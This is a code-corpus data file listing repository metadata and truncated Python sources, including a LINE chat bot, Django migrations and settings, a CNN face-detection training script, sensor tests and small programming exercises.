4aa5280b547401299b48b1530fdc3f5809bebc5e | 58f28413ba2b67d169e52b3968a41c8dccf02c57 | /squarebot.py | c55b62ac13b6c65504d9836de9684b5de1af75df | [] | no_license | zelebez6969/zelebezsbpy3 | 4d9c07276619e9f323feb6654a19dd6f2a03bdf6 | 4357a5149d31ff29a715b01101ebd69751a2f60e | refs/heads/master | 2021-05-11T19:56:25.358077 | 2018-01-16T22:43:56 | 2018-01-16T22:43:56 | 117,425,357 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,611 | py | # -*- coding: utf-8 -*-
from linepy import *
import time
line = LINE('EMAIL', 'PASSWORD')
#line = LINE('AUTHTOKEN')
line.log("Auth Token : " + str(line.authToken))
squareChatMid='YOUR_SQUARE_CHAT_MID' # Get manual from line.getJoinableSquareChats('YOUR_SQUARE_MID')
# Initialize OEPoll with LINE instance
oepoll = OEP... | [
"noreply@github.com"
] | zelebez6969.noreply@github.com |
4dfceb56898cad5d00fa84665e24c42ab7bf33df | 12e4cbfd3445d3180565df20d2a7a152bb931ecc | /Backend/users/migrations/0004_auto_20210514_0856.py | e32b74a819118a4605fa3d5b495e9c610fac4a04 | [] | no_license | ihonomic/Blog-App-React-Django | 04dc267e458b69f26ccf8d1b650a7b7708faa72c | 7c0ae907cd87d5cc261d20bcd14af90cc6aa51dc | refs/heads/master | 2023-08-23T20:54:40.987522 | 2021-10-06T10:29:57 | 2021-10-06T10:29:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 601 | py | # Generated by Django 3.1.4 on 2021-05-14 07:56
from django.db import migrations
import users.models
class Migration(migrations.Migration):
dependencies = [
('users', '0003_auto_20210513_1716'),
]
operations = [
migrations.AlterField(
model_name='customuser',
nam... | [
"onosetaleoseghale@gmail.com"
] | onosetaleoseghale@gmail.com |
4fed172f79994c420a9d9ad5393b219b95caa670 | 8f133dc975aa970b19c5dad02de758d2cc0cdc5a | /Nodes/Journal/journal-newpart.py | 912abd2a090ffbdbcb5774a396867684dce2b5fb | [] | no_license | lerausenco/KBE-Prosjekt | 25a2b93adb9caf5529abcf6de283deccf1fe90e4 | 13fb0f296018f3df7688f6f23adcd4df4360fb2e | refs/heads/main | 2023-04-09T15:49:49.417139 | 2021-04-26T09:40:54 | 2021-04-26T09:40:54 | 333,350,903 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,039 | py | # NX 1911
# Journal created by lera_ on Tue Apr 13 10:18:08 2021 W. Europe Summer Time
#
import math
import NXOpen
def main() :
theSession = NXOpen.Session.GetSession()
workPart = theSession.Parts.Work
displayPart = theSession.Parts.Display
# ----------------------------------------------
# Me... | [
"usencolera@gmail.com"
] | usencolera@gmail.com |
ab0a2ba6e4d3d375e56ab4ac661c7d7ddf068306 | ec80f504ab4511e27c7e4afe801b8e6b8ddf6900 | /examples/ex_cnn_cascade_training_face_detection/12net_detection_training.py | 0f64a4a441f8628405401d4cb2a8c19f4f58f298 | [
"MIT"
] | permissive | ssteveminq/deepgaze | afdc3aeb7d0b0ba247a3cf5850981f899abb3082 | 6df11f3799b36d7d0d45fbbb77be21eec456ddd4 | refs/heads/master | 2021-01-25T10:06:11.775804 | 2019-04-11T18:18:14 | 2019-04-11T18:18:14 | 123,338,160 | 0 | 1 | MIT | 2018-02-28T20:23:47 | 2018-02-28T20:23:47 | null | UTF-8 | Python | false | false | 12,414 | py | #!/usr/bin/env python
# The MIT License (MIT)
# Copyright (c) 2017 Massimiliano Patacchiola
# https://mpatacchiola.github.io
# https://mpatacchiola.github.io/blog/
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, F... | [
"massimiliano.patacchiola@gmail.com"
] | massimiliano.patacchiola@gmail.com |
60c39c72e082c9c044c5d0be1a61ab4fa9df1bb3 | 85dde97106860f9d059e9750243ec0e26501d540 | /Sensor/test/tests.py | a43175955355889b52a456f2ace72f2c9990d5e8 | [] | no_license | tomaszKakol/Monitoring_system_of_distributed_computer_resources | f174793fbba6c8ed1419cc61243fb1975e20fb18 | d6eab21894da75c12e15e59d81b0f3af2f20ee1e | refs/heads/master | 2022-12-13T09:39:38.005336 | 2019-12-03T00:32:14 | 2019-12-03T00:32:14 | 225,493,632 | 0 | 0 | null | 2022-12-08T05:24:29 | 2019-12-03T00:14:30 | HTML | UTF-8 | Python | false | false | 6,626 | py | import unittest
from source.tools import SensorTools
import platform
from unittest.mock import patch
class TestSensorMethods(unittest.TestCase):
def test_set_variables_CPU(self):
metric = "CPU"
name = "testCPU"
url = "http://localhost:8080/v1/"
tool = SensorTools(metric, name,... | [
"tomaszkakol19921114@gmail.com"
] | tomaszkakol19921114@gmail.com |
ba40a8c5110e9d044b9d98a5e689130a0f613dfb | ea384acfec1ae21bc8583258ecaa187ded4b22d6 | /data/base/prototypes/entity/containers.py | 59ca9962024efd9710a4f9f126b8bef128a34edd | [
"MIT"
] | permissive | cmk1988/Jactorio | da03e97d0fa8bfbf9428e45aa2e4772c0ea9542b | 4056b4c16614d566ec8d90b250621e03645bf4d2 | refs/heads/master | 2023-03-28T03:05:24.337666 | 2021-03-13T20:31:30 | 2021-03-13T20:31:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,130 | py | import jactorioData as j
# An item will be created with the name {name}-item | With `wooden-chest`: `wooden-chest-item`
def addContainer(name, invSize, health, worldSprite, itemSprite):
(j.ContainerEntity(name)
.tileWidth(1)
.tileHeight(1)
.maxHealth(health)
.inventorySize(invSiz... | [
"jaihysc@gmail.com"
] | jaihysc@gmail.com |
2c2b933d610693ff63ffe94f0c0b0df46fd2d16c | a0e4b984638355a67ec50efcb60cf7e945daafe7 | /sigid/example.py | d98f550f8516a86323f11365fb9ced534fbf718b | [] | no_license | MrSaints/data-engineer-assignment-sigid | 7de3ad27a4dd8efeb511bff741a1218cc483fb14 | 16519f5bad9e6f7b7da37f719a4e176808d8a012 | refs/heads/master | 2020-04-17T04:22:35.507844 | 2019-01-28T10:16:31 | 2019-01-28T10:17:33 | 166,227,298 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,268 | py | from typing import List
from sigid.mock_asset_service import MockAssetService
from sigid.mock_signature_repository import MockSignatureRepository
from sigid.mock_signee_repository import MockSigneeRepository
from sigid.service import (
AnyNewSignature,
NewImageSignature,
NewXYZSignature,
SignatureAppli... | [
"ian@fyianlai.com"
] | ian@fyianlai.com |
24d36a2217c9007fbb6bd84f731969b932ae222c | 3cfca574323bf9c1955b5e543d3b9335c4072b64 | /magalu_api/settings.py | a7423a645db27b17b94b3982521544d0bd151a98 | [] | no_license | otavioremedio/magalu_python | ece99deb7288fda676e061b1ee984d2a51ad0f93 | 4df8b148ffaa0c113ad619a82b42b0e90a5172e1 | refs/heads/master | 2020-06-05T14:54:23.292517 | 2019-06-18T04:28:54 | 2019-06-18T04:28:54 | 192,465,249 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,179 | py | """
Django settings for magalu_api project.
Generated by 'django-admin startproject' using Django 2.2.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os... | [
"otavioremedio@gmail.com"
] | otavioremedio@gmail.com |
be93bf7f1663533f7ff527947dde250cdbb03ee5 | 07cc1454dd3c2782e0459aead9c950b603bdd613 | /code/process_squad.py | bfb81312c6affabb55db28f8ac15c7e2315e8fce | [] | no_license | muhammadyaseen/snlp-project | ae733e5e399470f16fb26b1f02ae141b997280f7 | a9f491a786632fff316846d5a3399479928db863 | refs/heads/master | 2022-12-03T22:06:07.104215 | 2020-08-19T09:13:41 | 2020-08-19T09:13:41 | 285,236,646 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,516 | py | """
The purpose of this processing script is to convert the SQuAD dataset
in a similar format to WikiQA dataset so that we can use it with the
built-in data loader and use it in pairwise ranking setting.
"""
import json
SQUAD_ROOT = "/home/yaseen/Course Work/snlp-project/data/"
SQUAD_DEV = SQUAD_ROOT + "dev-v1.1.jso... | [
"mohammad_yaseen13@live.com"
] | mohammad_yaseen13@live.com |
7ebdf48974f905586bd57d67bca70a0a4286bf9c | 017d4134fea04d32d31c85fd8457b3ef8ac86bf4 | /ceshi.py | e270ea78f02f327f5a4e35414c1d730b7ac1b1e4 | [] | no_license | qiuxianruoke/ZhuTian_for_python | 4e2f9111c1eed4146e10f4a8151da22f1342afa4 | 9e4c75503b71d0c2af82426b4d68d23f9af62c9e | refs/heads/master | 2023-09-03T04:49:53.605599 | 2021-10-16T13:38:01 | 2021-10-16T13:38:01 | 331,208,931 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 107 | py | a = [1, 2, 3, 4, 5]
#print(a[0])
l = len(a)
for i in range(len(a)):
a.remove(a[i])
print(a[i],'\n') | [
"3237276907@qq.com"
] | 3237276907@qq.com |
af2e52b46844239c7c94bcf9148beaf21690047d | f7ab3bcf18edf83219898d1e512161e61261a31b | /xbowflow/scripts/xflow-stat | b7221c8f442df9d5bd1ac1010995e52a7aa3f097 | [
"MIT"
] | permissive | shozebhaider/Project-Xbow | 1e98446cc91c23844f516f62c8b2f044bb6b0936 | 079a5ebf730b5a3cb605b48fac51e721bc293ff8 | refs/heads/master | 2020-05-26T00:08:21.882915 | 2019-05-22T11:26:14 | 2019-05-22T11:26:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,141 | #!/usr/bin/env python
from __future__ import print_function
from xbowflow._version import __version__
from xbowflow.clients import dask_client
import argparse
def stat(client, args):
info = (client.scheduler_info())
if not args.summary:
print(' {:30s} {:7s} {:9s} {:9s}'.format('Worker name', 'ncores',... | [
"charles.laughton@nottingham.ac.uk"
] | charles.laughton@nottingham.ac.uk | |
e2c44190d4a0c77a111d4d07700decfd13262c29 | 1925aa0e43b35cfeb65f6bbc5ca9c2a6d75ffd52 | /visdial/common/self_attention.py | 40128fce6d9627c2baf1f6db3825edbdcd76c59b | [] | no_license | davidnvq/visdial | 07dbfabd1852ca6c24d4e420c96180978de5e731 | ab6fa3f2d84690c981f512c29f1de72330ed38b2 | refs/heads/master | 2023-07-03T05:36:02.101352 | 2021-08-05T12:41:18 | 2021-08-05T12:41:18 | 185,401,550 | 33 | 6 | null | 2020-11-18T22:46:30 | 2019-05-07T12:52:59 | Python | UTF-8 | Python | false | false | 1,496 | py | import torch
import torch.nn as nn
class SelfAttention(nn.Module):
"""This module perform self-attention on an utility
to summarize it into a single vector."""
def __init__(self, hidden_size):
super(SelfAttention, self).__init__()
self.attn_linear = nn.Sequential(
nn.Linear(hi... | [
"quanguet@gmail.com"
] | quanguet@gmail.com |
369ed13baeabeb36c71b262ee12e2fc17e7e2eb6 | a4b3245401e80dc6f19065bf2b9c54686a64b6cc | /Stack.py | a4b40b0d5469030c8bfbf2d0014a7cdb46590ca7 | [] | no_license | karim-eddin/python-datastructure | 5277cc11f88957925631066959b048c9372e0f48 | ec8579174c60182c241f808f1f9ee6c50588e690 | refs/heads/master | 2023-02-27T23:27:03.666084 | 2021-02-11T10:40:46 | 2021-02-11T10:40:46 | 335,523,409 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 549 | py | #encoding=utf-8
class Stack:
stk_lst = []
def top(self):
if len(self.stk_lst) == 0:
return None
else:
return self.stk_lst[-1]
def length(self):
return len(self.stk_lst)
def pop(self):
if len(self.stk_lst) == 0:
retur... | [
"karimeddinn@hotmail.com"
] | karimeddinn@hotmail.com |
287490e47c0c860a01c42ee7aae05e6c42c86fdd | a82e0bd93cb966fefbea8795589768eb5a5a65c0 | /model.py | c92716d9fb093a724e46f93e5f9ebc8bbcd776c7 | [
"MIT"
] | permissive | bfmat/StopSignFinder | 1b9e935fc1471218df37d4830a84a854985eec8c | 8d41b86a28f1c48ba23e504ccb65f60115ef29f6 | refs/heads/master | 2021-09-13T06:20:32.587140 | 2018-04-25T21:24:57 | 2018-04-25T21:24:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,332 | py | from keras.layers import Dense, Flatten
from keras.layers.convolutional import Conv2D
from keras.models import Sequential
# A very simple convolutional neural network model that will be used to predict the probability of the presence of a
# stop sign in a small square image
# Created by brendon-ai, January 2018
# M... | [
"brendon-m@outlook.com"
] | brendon-m@outlook.com |
4598001c5648f08752ef2002d4ba2a58a4b810b4 | 94e06376dc265c7bf1a2e51acb9714d02b21503a | /python打卡/day9_数字.py | 0303d4bab06f6795e5925726a39bafdecf382745 | [] | no_license | zhangquanliang/python | 4b2db32bed4e4746c8c49c309563f456dc41c6be | f45ef96e385b1cd6c5dfb53bf81042d953a9ec46 | refs/heads/master | 2021-04-26T23:30:12.217397 | 2019-03-20T06:18:14 | 2019-03-20T06:18:14 | 124,005,916 | 11 | 2 | null | null | null | null | UTF-8 | Python | false | false | 640 | py | # -*- coding: utf-8 -*-
# 1. 内嵌整数列表中的指相加
def nested_sum(t):
a = 0
for x in t:
for y in x:
a += y
print(a)
# 2. 接受数字列表,返回累计和
def cumsum(t):
list = []
a = 0
for x in t:
a += x
list.append(a)
print(list)
# 3. 接受一个列表,返回新列表,包含除第一个和最后一个元素外的所有值
def middle(t... | [
"1007228376@qq.com"
] | 1007228376@qq.com |
06f43a44fe4cb0a5dafc0a5b71287555443fcdce | 39a3794a754e4e1972e7e60cbed27ac5759078ac | /kde_validation_bio_sim_record_result.py | 7fbb7bab3c98dd8db1004b8ba41d06c13ea36456 | [] | no_license | Polina17/Epilepsy_Validation | 87bcaea99be79921510bb11926bda34360b1b639 | fbb57a935098ab8829c682e9fd5c23980c09d457 | refs/heads/master | 2023-02-26T15:11:51.135080 | 2021-02-02T14:52:41 | 2021-02-02T14:52:41 | 327,878,462 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,840 | py | # Скрипт для нахождения p_value между био и симуляционными данными
# при применении косинусного ядра к нормализованным и нормализованным фильтрованным
# данным с построением графиков
import math
import matplotlib.pyplot as plt
import scipy.integrate
from numpy import inf, exp
import scipy.io
# функция для нахождения... | [
"zyranovap@gmail.com"
] | zyranovap@gmail.com |
a9c949157556c29400086fe4868e2675154a03cb | 00e25b8aa2e4ddd33cfd912f68625cab59588184 | /inputTest7.py | 631e98ea7e65b9a4d783f25e72d481b25a9d8287 | [] | no_license | jesenator/Violin-analysis-system | 578fba2de31cde9890ae28bf7616ad575f11f2d6 | 19239e98dbb9e615aea5c9e369ce7e89d12c7d43 | refs/heads/main | 2023-07-18T09:18:47.980137 | 2021-08-31T17:22:59 | 2021-08-31T17:22:59 | 390,883,362 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 7,479 | py | # inputTest6.1.py
# working on splitting channel input to two arrays - completed
################################################# functions
def getData(itr):
def writeFile(p, frames, channels, filename):
print("writing " + filename)
wf = wave.open(filename, 'wb')
wf.setnchannels(channels)
wf.setsampwi... | [
"noreply@github.com"
] | jesenator.noreply@github.com |
d7d684df0cf1d3b5514343eb7f53a9abe2d06a2d | 57e10f6657a9c0ef8ec9659a29f0b467699bbfcf | /Chapter 2/BA2C.py | fb8476f95eb870196583a66c89a94649a075484e | [] | no_license | ShehabAhmedSayem/rosalind | b1dcc2c3fbb211d2b7fe5041be3b653b6270ac80 | 699f6ea6a4176f7edec02137446141b131ab737f | refs/heads/master | 2020-04-02T17:55:32.928186 | 2016-03-03T09:38:28 | 2016-03-03T09:38:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,241 | py | """ Find a Profile-most Probable k-mer in a String """
profile_row = {'A': 0, 'C':1, 'G':2, 'T':3}
def read_profile_matrix(fileName):
with open(fileName) as f:
lines = f.readlines()
for i in xrange(0, len(lines)):
lines[i] = lines[i].strip()
data = list(list())
for i in xrange(0, len(... | [
"andrey.rozumnuy@gmail.com"
] | andrey.rozumnuy@gmail.com |
b53a79653da1f30b4346d7cee4b0c1ab43348665 | 74167e4c1061b454d1ab1c2140a1fc2f4540ee2e | /accounts/models.py | fc5a140def7581969baf9c6413966fd5a150517c | [] | no_license | Pagante/ProjectCart | f72a1a611445f66c1320c0c21e1832d3ecf67a2a | 4f065a02a8235c6744768328af5c1e103321ed44 | refs/heads/main | 2023-06-05T23:53:10.316222 | 2021-06-27T21:47:28 | 2021-06-27T21:47:28 | 380,840,906 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,861 | py | from django.db import models
from django.contrib.auth.models import BaseUserManager,AbstractBaseUser
# Create your models here.
class MyAccountManager(BaseUserManager):
def create_user(self, first_name, last_name, username, email, password=None):
if not 'email':
raise ValueError('User must have... | [
"55301195+Pagante@users.noreply.github.com"
] | 55301195+Pagante@users.noreply.github.com |
fb58a27373295fd23e4e441d7160e90f57d8c58a | 9df2fb0bc59ab44f026b0a2f5ef50c72b2fb2ceb | /sdk/paloaltonetworks/azure-mgmt-paloaltonetworksngfw/generated_samples/local_rulestacks_create_or_update_minimum_set_gen.py | eb4b8b0451f4477d85ec725f4dfa1603454d7a23 | [
"MIT",
"LGPL-2.1-or-later",
"LicenseRef-scancode-generic-cla"
] | permissive | openapi-env-test/azure-sdk-for-python | b334a2b65eeabcf9b7673879a621abb9be43b0f6 | f61090e96094cfd4f43650be1a53425736bd8985 | refs/heads/main | 2023-08-30T14:22:14.300080 | 2023-06-08T02:53:04 | 2023-06-08T02:53:04 | 222,384,897 | 1 | 0 | MIT | 2023-09-08T08:38:48 | 2019-11-18T07:09:24 | Python | UTF-8 | Python | false | false | 1,765 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | openapi-env-test.noreply@github.com |
ff0c123b0c7ae8870e5b364be189684c9146de72 | 2da2378855044f3f23f28d67224f0a331ff8ae33 | /blog/migrations/0005_blog_read_num.py | 6043f388dfe620be85db31b6eba3221dbef02e2c | [] | no_license | Golorcsh/mysite | ce6470e34efc749bddf5e371a5b3c7091a507a82 | 5ebbb42d212a8b1cad2cbf3919320b13db66a1d0 | refs/heads/master | 2020-05-15T17:40:32.029792 | 2019-05-28T03:09:19 | 2019-05-28T03:09:19 | 182,408,490 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 378 | py | # Generated by Django 2.2 on 2019-04-22 11:16
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0004_auto_20190422_0858'),
]
operations = [
migrations.AddField(
model_name='blog',
name='read_num',
... | [
"c1045132383@gmail.com"
] | c1045132383@gmail.com |
d32afc57ea4aa43077280476b3f715c5706dbaaf | 73455df4c6185d9c4dc9f1a94c748e4f7ca590d0 | /fruit/event/event.py | 97dd069ed3622bee73b05dfd46073e3e07c6101a | [
"MIT"
] | permissive | felko/fruit | ad54f629af3e41b35371fcda6bd4839b68275535 | 4768fd333ac3b7c0bd6d339304b23e20e312d2d1 | refs/heads/master | 2020-12-28T19:24:17.192104 | 2016-05-22T10:38:48 | 2016-05-22T10:38:48 | 59,365,452 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 667 | py | #!/usr/bin/env python3.4
# coding: utf-8
class Event:
"""
Base class of all events.
"""
@classmethod
def from_pygame_event(cls, event):
"""
Interpret a pygame event as a Fruit event.
"""
@staticmethod
def get_event_queue(raw_event):
"""
Return the event queue from a single pygame event.
"""
re... | [
"skolopedrion@gmail.com"
] | skolopedrion@gmail.com |
68107dada2e7dd7dc4eabd477e86ea95d7540946 | e719bcfde03c0be2c84a7f1e13d12b80fa00ea84 | /session2/draw_2.py | 0780ebd4934bca50609387bc0e008130c608d56c | [] | no_license | minhduc9699/phamMinhDuc-D4E17 | 53b80e53ff175f0357fb01c9876aa12b343ca060 | 363b61745a206f33c5cfa3532a5abd920fcf4ad1 | refs/heads/master | 2023-01-22T08:25:14.210959 | 2020-12-05T04:53:38 | 2020-12-05T04:53:38 | 308,668,542 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 154 | py | from turtle import *
speed(-1)
for edge in range(3, 11):
print(edge)
for i in range(edge):
forward(100)
left(360/edge)
mainloop() | [
"minhduc.096.99@gmail.com"
] | minhduc.096.99@gmail.com |
efdf49596ac6fb21b807699b0abb2a4f1d012812 | b41adb2016aa2b290df52157ed1ac39d43f747f2 | /yalescript.py | c18b0fe2a0697e89b0083583ae776090fc3386e4 | [] | no_license | joannaw516/490 | cdadbde0b459e2abce6e43bce77af83bb8e7ea63 | 05f3f74016f09b7d603b1fcfa720445c358b8665 | refs/heads/master | 2022-05-20T17:44:38.760050 | 2020-04-28T04:35:35 | 2020-04-28T04:35:35 | 256,064,062 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,280 | py | import pandas as pd
import requests
from bs4 import BeautifulSoup
#import pandas for exporting to csv, requests for fetching html, beautifulsoup for parsing html
#using requests to get html from url, and beautiful soup to parse html content
page = requests.get('https://yalecollege.yale.edu/academics/directory-duses-a... | [
"joanna.j.wu@yale.edu"
] | joanna.j.wu@yale.edu |
f0757cf64760f87471f7aff2b9859a711f29b54a | 33d0cafd100b805b34450b9ca4b90015ca3ede50 | /textutils/textutils/views.py | 616b2077e84f7650c288b4999620915714ed0ea1 | [] | no_license | coder-KB/TextUtil | 4fdcb47c5429dd6abe57e32735cf990269bfae15 | 44aa1bf21bca5ce8d1a05d6767d198d0ed173f4f | refs/heads/master | 2020-09-07T18:12:16.250426 | 2019-11-11T00:57:26 | 2019-11-11T00:57:26 | 220,873,411 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,139 | py | from django.http import HttpResponse
from django.shortcuts import render
def index(request):
return render(request, 'index.html')
def analyze(request):
# Get the text
djtext = request.POST.get('text', 'default')
# Check checkbox values
removepunc = request.POST.get('removepunc', 'off')
fullca... | [
"noreply@github.com"
] | coder-KB.noreply@github.com |
cd46193f2107a70f24bf853229b251e11f09edd3 | 5989e503a733e8b29f4c502008446a75c2b43ff8 | /src/aids/migrations/0080_auto_20191104_1028.py | e61367fa67ca3885c3616e240f880421e5dac253 | [] | no_license | samuelpath/aides-territoires | 399a6a7b0607ef5a8d2b327247446b239f5b1a42 | 5793bd49d7157a34e08c29e56a46e1e3ead0651f | refs/heads/master | 2022-12-20T14:35:18.671563 | 2020-08-21T08:00:33 | 2020-08-21T08:00:33 | 288,424,578 | 0 | 0 | null | 2020-08-18T10:27:17 | 2020-08-18T10:27:16 | null | UTF-8 | Python | false | false | 389 | py | # Generated by Django 2.2.5 on 2019-11-04 09:28
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('aids', '0079_remove_aid_subvention_rate'),
]
operations = [
migrations.RenameField(
model_name='aid',
old_name='subvention_r... | [
"thibault@miximum.fr"
] | thibault@miximum.fr |
33104e73737bbe56ef8c3d00a5ce6c987ad8d4d4 | 0898c718513c9330eae5907f49badcce3ff35a70 | /excel/bostonPlans/lacrosse.py | 434b110fc38e4407939612c9b3febbea38b353dd | [] | no_license | andrefisch/EvanProjects | 00035dc0cb99f318e15509b4a8cf7d8995230e08 | 1ab958fd5d7a5d8485e506e60e77756775399579 | refs/heads/master | 2021-07-13T11:06:47.475143 | 2018-08-07T23:55:24 | 2018-08-07T23:55:24 | 133,861,990 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,136 | py | from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import openpyxl
import re
import pygame, time
xfile = openpyxl.load_workbook('uwlc.xlsx')
sheet = xfile.get_sheet_by_name('2021')
start = 2
end = 102
driver = webdriver.Chrome()
driver.get("https://www.uwlax.edu/info/directory/")... | [
"anfischl@gmail.com"
] | anfischl@gmail.com |
1b5469bcc3dcfd7fd76a8161c26dc9392a65bff6 | 5409369b91fab5cae896e141acb84add2f5948d9 | /mopidy_iris/__init__.py | e190cb70713d94f543dd0d8d119b4f1072ef272b | [
"Apache-2.0"
] | permissive | janza/Iris | 8c4a6c003f3d782aa9da50b52f8992f521c9ca5a | 7452c743ba4493f42cb80549710aaf9119e1606d | refs/heads/master | 2021-01-17T08:23:46.823679 | 2017-03-27T13:16:24 | 2017-03-27T13:16:24 | 83,895,941 | 0 | 0 | null | 2017-03-04T13:38:51 | 2017-03-04T13:38:51 | null | UTF-8 | Python | false | false | 2,052 | py |
from __future__ import unicode_literals
import logging, os, json
import tornado.web
import tornado.websocket
import handlers
from mopidy import config, ext
from frontend import IrisFrontend
from handlers import WebsocketHandler, HttpHandler
from core import IrisCore
logger = logging.getLogger(__name__)... | [
"james@barnsley.nz"
] | james@barnsley.nz |
b6cc6b09c13e8614d893dc963a6d721790d09177 | 9b70764296a8144a6e7d0461b9f44b3292b54ddb | /Week_4/getRatios.py | 3400bf5f32ab7d1ff3376cf0abb0ae0adc1eac43 | [] | no_license | scolon7251/edX_6.00.1x | a0d561fdc52d7161c4752a92fc2589c0ab9d7cf4 | 735b19b2cc9ab5dbc3463806e972a6a96e03a874 | refs/heads/master | 2020-12-24T14:36:23.169568 | 2015-03-25T23:13:35 | 2015-03-25T23:13:35 | 32,895,207 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 468 | py | def getRatios(v1, v2):
"""Assumes v1 and v2 are lists of equal length of numbers
Returns a list containing the meaningful values of
v1[i]/v2[i]"""
ratios = []
for index in range(len(v1)):
try:
ratios.append(v1[index]/float(v2[index]))
except ZeroDivisionError:
... | [
"scolon725@gmail.com"
] | scolon725@gmail.com |
bfbb5c0eb21e5ad2b2ad226fbe7a3e9d2d558aef | cfa1c211bcd8b5bba82749e5936fd50f619c80af | /Hackaton15/settings.py | 5dba4f251bd83c561e05d4d7dad962b2964270e6 | [] | no_license | yedtoss/dreamrankings | 1b9ffee330177c6c00d7922d9179e4cf35336bfd | 9324fc93afb4a20d51d0ea9ae6ce66d25e9d13b6 | refs/heads/master | 2021-01-10T01:06:10.964747 | 2015-11-10T15:06:10 | 2015-11-10T15:06:10 | 45,914,647 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,927 | py | """
Django settings for Hackaton15 project.
Generated by 'django-admin startproject' using Django 1.8.6.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build p... | [
"yedtoss@Aristides-MacBook-Pro.local"
] | yedtoss@Aristides-MacBook-Pro.local |
1e838cff1c3206fca261549ede085035a1794d7c | b301f5d799fb973f12ff457c94a3fb54f5c6fd6b | /pages/views.py | 56e3848a96f39428eb0488fb6874d562f048fe72 | [] | no_license | MahmudulHassan5809/DjangoHousingSellingProject | ca3a8b9e3d83dd87532b33295e56e50ba7e9576d | 82d02e04fe2a0cd510f160ad4159f40f4e5779d3 | refs/heads/master | 2020-04-09T08:01:41.092034 | 2018-12-03T11:24:13 | 2018-12-03T11:24:13 | 160,179,800 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 852 | py | from django.shortcuts import render,redirect
from django.http import HttpResponse
from listings.choices import price_choices , bedroom_choices , state_choices
from listings.models import Listing
from realtors.models import Realtor
# Create your views here.
def index(request):
#return HttpResponse('Hello');
listings... | [
"mahmudul.hassan240@gmail.com"
] | mahmudul.hassan240@gmail.com |
1847478ec8b70f2924f186647354c35f7436bee4 | d1fa29de428e6df1def8efc33323a4ee8e51074d | /s60.py | 1e52334af47fe5dd53628e2f142f43a45e914afc | [] | no_license | Gunasundarinagalingam/positive | d0cd729824ebef009d2eced065ec7d81026b69cd | 4829009c2abd214a58254e555043046117db8562 | refs/heads/master | 2020-06-02T15:13:38.476791 | 2019-07-21T15:02:49 | 2019-07-21T15:02:49 | 191,204,498 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 68 | py | num=int(input())
xx=0
while(num>0):
xx=xx+num
num=num-1
print(xx)
| [
"noreply@github.com"
] | Gunasundarinagalingam.noreply@github.com |
99129434172fa0c521b49b6f4febfde4aa1ad958 | 80389757e4222748bb6b1ae84b7519454539fb99 | /filrefoxFile.py | e96b530cb7d706bc9cde450ac8f1394c517e31c6 | [] | no_license | Prajna14/SeleniumBasics1 | 7c3fe4929eb50cd9d745775e2e62c5d864436667 | cba0a34222ef24fd1ad54c1b53d8dcbba906b0ad | refs/heads/master | 2020-04-26T12:34:27.447246 | 2019-03-23T12:38:42 | 2019-03-23T12:38:42 | 173,554,180 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 184 | py | from selenium import webdriver
qspiders = webdriver.Firefox(executable_path="C:\\Users\\prajn\\Downloads\\geckodriver-v0.24.0-win64\\geckodriver.exe")
qspiders.get("http://google.com") | [
"prajnakornaya14@gmail.com"
] | prajnakornaya14@gmail.com |
40fec2d844ff14fbb903f58d6e96f8e46ad3fe8c | f83934dd60d4961848c0a86f6d7fbe07b79a1d63 | /glumpy/graphics/collections/__init__.py | c497f742a32eb93341c0ab317f56e2fc37a848d5 | [] | no_license | brianholland/glumpy | 2a31e2f5fd039d1debb30dd010ad36c458f329cf | a691082385e02db9b1d461847b9e36d8534630fa | refs/heads/master | 2020-12-25T21:43:58.743259 | 2015-11-30T11:04:46 | 2015-11-30T11:04:46 | 46,670,630 | 0 | 0 | null | 2015-11-30T11:04:46 | 2015-11-22T17:10:24 | Python | UTF-8 | Python | false | false | 951 | py | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# Copyright (c) 2014, Nicolas P. Rougier. All rights reserved.
# Distributed under the terms of the new BSD License.
# -----------------------------------------------------------------------------
from . collection i... | [
"Nicolas.Rougier@inria.fr"
] | Nicolas.Rougier@inria.fr |
